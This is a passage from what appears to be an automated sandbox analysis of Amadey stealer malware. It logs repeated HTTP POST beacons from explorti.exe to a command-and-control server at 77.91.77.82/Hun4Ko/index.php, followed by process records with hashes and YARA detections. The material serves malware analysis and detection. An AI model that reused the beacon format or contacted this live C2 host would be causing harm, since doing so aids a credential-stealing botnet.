132	192.168.2.7	57448	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:23:32.909558058 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 30, 2024 10:23:33.605242014 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 30 Jun 2024 08:23:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.7	57449	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:23:33.614316940 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jun 30, 2024 10:23:34.346092939 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 30 Jun 2024 08:23:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.7	57450	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:23:34.471513987 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 30, 2024 10:23:35.213330984 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 30 Jun 2024 08:23:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.7	57451	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:23:35.221950054 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jun 30, 2024 10:23:35.912434101 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 30 Jun 2024 08:23:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.7	57452	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:23:36.046132088 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 30, 2024 10:23:36.768984079 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 30 Jun 2024 08:23:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.7	57454	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:23:36.778878927 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jun 30, 2024 10:23:37.497028112 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 30 Jun 2024 08:23:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.7	57455	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:23:37.611593962 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 30, 2024 10:23:38.318674088 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 30 Jun 2024 08:23:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.7	57456	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:23:38.328598976 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jun 30, 2024 10:23:39.029505014 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 30 Jun 2024 08:23:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.7	57457	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:23:39.142779112 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 30, 2024 10:23:39.831347942 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 30 Jun 2024 08:23:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.7	57459	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:23:39.959656000 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 30, 2024 10:23:40.676888943 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 30 Jun 2024 08:23:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.7	57460	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:23:40.686022043 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jun 30, 2024 10:23:41.403161049 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 30 Jun 2024 08:23:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.7	57461	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:23:41.518347979 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 30, 2024 10:23:42.215156078 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 30 Jun 2024 08:23:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 30, 2024 10:23:42.220005035 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jun 30, 2024 10:23:42.441051960 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 30 Jun 2024 08:23:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.7	57462	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:23:42.565301895 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 30, 2024 10:23:43.260735035 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 30 Jun 2024 08:23:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 30, 2024 10:23:43.265552998 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jun 30, 2024 10:23:43.483871937 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 30 Jun 2024 08:23:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.7	57463	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:23:43.595901012 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 30, 2024 10:23:44.295968056 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 30 Jun 2024 08:23:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.7	57464	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:23:44.305335999 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jun 30, 2024 10:23:45.015752077 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 30 Jun 2024 08:23:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.7	57465	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:23:45.127629042 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 30, 2024 10:23:45.846324921 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 30 Jun 2024 08:23:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.7	57466	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:23:45.855098009 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jun 30, 2024 10:23:46.565486908 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 30 Jun 2024 08:23:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.7	57467	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:23:46.691026926 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 30, 2024 10:23:47.394021988 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 30 Jun 2024 08:23:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Target ID:	4
Start time:	04:22:18
Start date:	30/06/2024
Path:	C:\Users\user\Desktop\8vZMEr8sm9.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\8vZMEr8sm9.exe"
Imagebase:	0xe0000
File size:	1'942'528 bytes
MD5 hash:	44809186C26C6851B67BD98C5498F3CA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000004.00000002.1333744316.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000004.00000003.1292523805.00000000048F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	04:22:22
Start date:	30/06/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe"
Imagebase:	0x160000
File size:	1'942'528 bytes
MD5 hash:	44809186C26C6851B67BD98C5498F3CA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000B.00000003.1329911234.0000000004970000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000B.00000002.3734657366.0000000000161000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	04:22:22
Start date:	30/06/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe
Imagebase:	0x160000
File size:	1'942'528 bytes
MD5 hash:	44809186C26C6851B67BD98C5498F3CA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000C.00000003.1332559515.00000000049E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000C.00000002.1373634602.0000000000161000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	04:23:00
Start date:	30/06/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe
Imagebase:	0x160000
File size:	1'942'528 bytes
MD5 hash:	44809186C26C6851B67BD98C5498F3CA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000F.00000003.1700827096.0000000004880000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000F.00000002.1740999849.0000000000161000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	04:24:00
Start date:	30/06/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe
Imagebase:	0x160000
File size:	1'942'528 bytes
MD5 hash:	44809186C26C6851B67BD98C5498F3CA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000013.00000002.2344434490.0000000000161000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000013.00000003.2303837950.0000000004950000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	04:25:00
Start date:	30/06/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe
Imagebase:	0x160000
File size:	1'942'528 bytes
MD5 hash:	44809186C26C6851B67BD98C5498F3CA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
